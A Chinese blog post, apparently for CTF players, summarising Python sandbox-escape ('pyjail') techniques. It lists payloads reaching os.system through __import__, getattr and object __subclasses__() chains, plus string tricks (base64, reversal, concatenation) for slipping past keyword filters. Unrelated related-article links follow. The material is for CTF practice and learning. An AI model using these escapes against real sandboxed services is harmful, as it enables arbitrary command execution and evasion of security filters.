python沙盒逃逸
前言
最近遇到了很多python沙盒逃逸的题目(不知道是不是因为现在python搭的站多了……),实际使用时发现只会复制别人的payload是不够用的,于是自己来总结一波(顺带一提python沙盒逃逸的英文似乎是pyjail……)
姿势
os
import os
os.system('dir')
os.popen('dir').read()
platform
import platform
platform.popen('dir').read()
platform.os.system('dir')
timeit
import timeit
timeit.timeit("__import__('os').system('dir')")
__import__
__import__的作用就是导入一个包,和import的功能相同
__import__('os')
__import__('os').system('dir')
import os
os.system('dir')
__builtins__
__builtins__指的是python的内置函数(即预定义函数)
dir(__builtins__),可以看到支持很多种函数(如open),所以可以使用
__builtins__.open()
来打开文件,读文件就可以靠file类的read方法了
__builtins__.open('1.txt').read()
__dict__
__dict__,以字典形式储存类的方法和属性
__builtins__.__dict__['__import__']
sys
有些时候会将重要包的路径从sys.modules中移除,这时就要
import sys
sys.modules['os']='/usr/lib/python2.7/os.py'
重新定义一下os的路径
getattr和__getattribute__和__getitem__
如果将方法关键字过滤掉,直接用.来使用方法就不能成功,这时需要使用getattr()函数和__getattribute__方法,或者__getitem__取得字典中的某种方法
getattr(__import__('os'),'system')('dir')
__import__('os').__getattribute__('system')('dir')
__import__('os').__dict__.__getitem__('system')('dir')
reload
有时候会将__builtins__中的一些方法移出这时只要reload一下即可
但Python 3.0把reload内置函数移到了imp标准库模块中
reload(__builtins__)
object类
因为object类存在__subclass__方法,可以获得所有的子类(其中包括file类,所以可以读取文件),获得object类的方式
().__class__.__bases__[0] #__bases__显示上一个继承的类
''.__class__.__mro__[2] #__mro__显示类的继承关系
''.__class__.__bases__[0].__bases__
读文件:
().__class__.__bases__[0].__subclasses__()[40]("1.txt").read()
globals(),local(),vars()
当前的符号表(其中存在__builtins__)
奇妙的warnings.WarningMessage类
warnings.WarningMessage类在object类的第60个子类,直接放payload吧(自己也没怎么懂……)
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls'))
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__
绕过过滤
有时候会对关键字进行过滤可以使用不同编码来过滤,但只能在以字典形式调用方法时才能使用
'X19pbXBvcnRfXw=='.decode('base64') => '__import__'
''.join(['__imp','ort__']) => '__import__'
'__tropmi__'[::-1] => '__import__'
'__imp'+'ort__' => '__import__'
'__buihf9ns__'.replace('hf9','ldi')
dir()[0] => '_'
结语
方法:
- 找到文件类
- 找到读取文件的方法
- 找到os
其他的都是绕过过滤吧……
python沙盒逃逸的更多相关文章
- python-Flask模版注入攻击SSTI(python沙盒逃逸)
一篇以python Flask 模版渲染为例子的SSTI注入教学~ 0x01 Flask使用和渲染 这里简化了flask使用和渲染的教程 只把在安全中我们需要关注的部分写出来 来一段最简单的FLASK ...
- SSTI注入绕过(沙盒逃逸原理一样)
在python沙盒逃逸中绕过道理是一样的. 1.python沙盒中删除了很多模块,但是没有删除reload reload(__builtins__),重新加载被删除的模块,直接命令执行,只用于py2 ...
- 再谈CVE-2017-7047 Triple_Fetch和iOS 10.3.2沙盒逃逸
作者:蒸米 ----------------- 0x00 序 Ian Beer@google发布了CVE-2017-7047Triple_Fetch的exp和writeup[1],chenliang@ ...
- Python沙盒环境配置
一.简介 本文介绍配置python沙盒环境的方法步骤. 二.安装步骤 1.安装pyenv http://www.cnblogs.com/274914765qq/p/4948530.html 2.安装v ...
- seccomp沙盒逃逸基础——沙盒的规则编写
seccomp沙盒逃逸基础--沙盒的规则编写 引入: 安全计算模式 seccomp(Secure Computing Mode)是自 Linux 2.6.10 之后引入到 kernel 的特性.一切都 ...
- python - 沙盒环境 - virtualenv - 简明使用录
1. 不讲安装,没意思 2. 使用 virtualenv ENV # 建立环境,ENV你可以随便定,看起来像是 mkdir ENV cd ENV # 进目录呗 source bin/activate ...
- python项目在无外网的生产环境解决沙盒依赖问题
参考 https://yq.aliyun.com/articles/159599 https://www.jianshu.com/p/08c657bd34f1 缺点是 只能针对python的环境 做沙 ...
- python:沙盒(virtualenv)
当电脑需要使用多个版本的python时,可以使用沙盒:或者使用docker: virtualenv是Python自带的,通过pip安装的 [root@centos7 public]# cd jinji ...
- python的沙盒环境--virtualenv
VirtualEnv用于在一台机器上创建多个独立的python运行环境,VirtualEnvWrapper为前者提供了一些便利的命令行上的封装. 使用 VirtualEnv 的理由: 隔离项目之间 ...
随机推荐
- 那些相见恨晚的 JavaScript 技巧
JavaScript 的成功让人津津乐道,为 Web 网页编写 JavaScript 代码已经是所有 Web 设计师的基本功,这门有趣的语言蕴藏着许多不为人熟知的东西,即使多年的 JavaScript ...
- 登入时session的处理方式
暂时理解不够彻底 有空在详细介绍,先记录代码 1:创建一个工具类 存取当前登录用户 package com.liveyc.eloan.util; import javax.servlet.http ...
- NYOJ 93 汉诺塔 (数学)
题目链接 描述 在印度,有这么一个古老的传说:在世界中心贝拿勒斯(在印度北部)的圣庙里,一块黄铜板上插着三根宝石针.印度教的主神梵天在创造世界的时候,在其中一根针上从下到上地穿好了由大到小的64片金片 ...
- Django之原生Ajax操作
Ajax主要就是使用 [XmlHttpRequest]对象来完成请求的操作,该对象在主流浏览器中均存在(除早起的IE),Ajax首次出现IE5.5中存在(ActiveX控件). 先通过代码来看看Aja ...
- python-num18 - django进阶一
一.深入django的路由系统 下面为django的请求生命周期 下面来看下整个生命周期中的路由系统: 在Django的urls中我们可以根据一个URL对应一个函数名来定义路由规则如下: " ...
- L - SOS Gym - 101775L 博弈
题目链接:https://cn.vjudge.net/contest/274151#problem/L 题目大意:给你一个1*n的方格,两个人轮流放字母,每一次可以放"S"或者&q ...
- frameset测试
frame不能放在body标签内.指定name属性,为这一个框架指定名字,在html的a的target属性可以设为target="right"在该框架显示跳转的页面.(常用于后台管 ...
- java反序列化漏洞
http://www.freebuf.com/vuls/86566.html 有时间了 仔细阅读
- perl6 单线程破解phpmyadmin脚本
use HTTP::UserAgent; my $ua = HTTP::UserAgent.new; my $url = 'http://localhost/phpMyAdmin/index.php' ...
- MAC泛洪攻击
先来解释一下啥是泛洪攻击 交换机里有一张专门记录MAC地址的表,为了完成数据的快速转发,该表具有自动学习机制:泛洪攻击即是攻击者利用这种学习机制不断发送不同的MAC地址给交换机,充满整个MAC表,此时 ...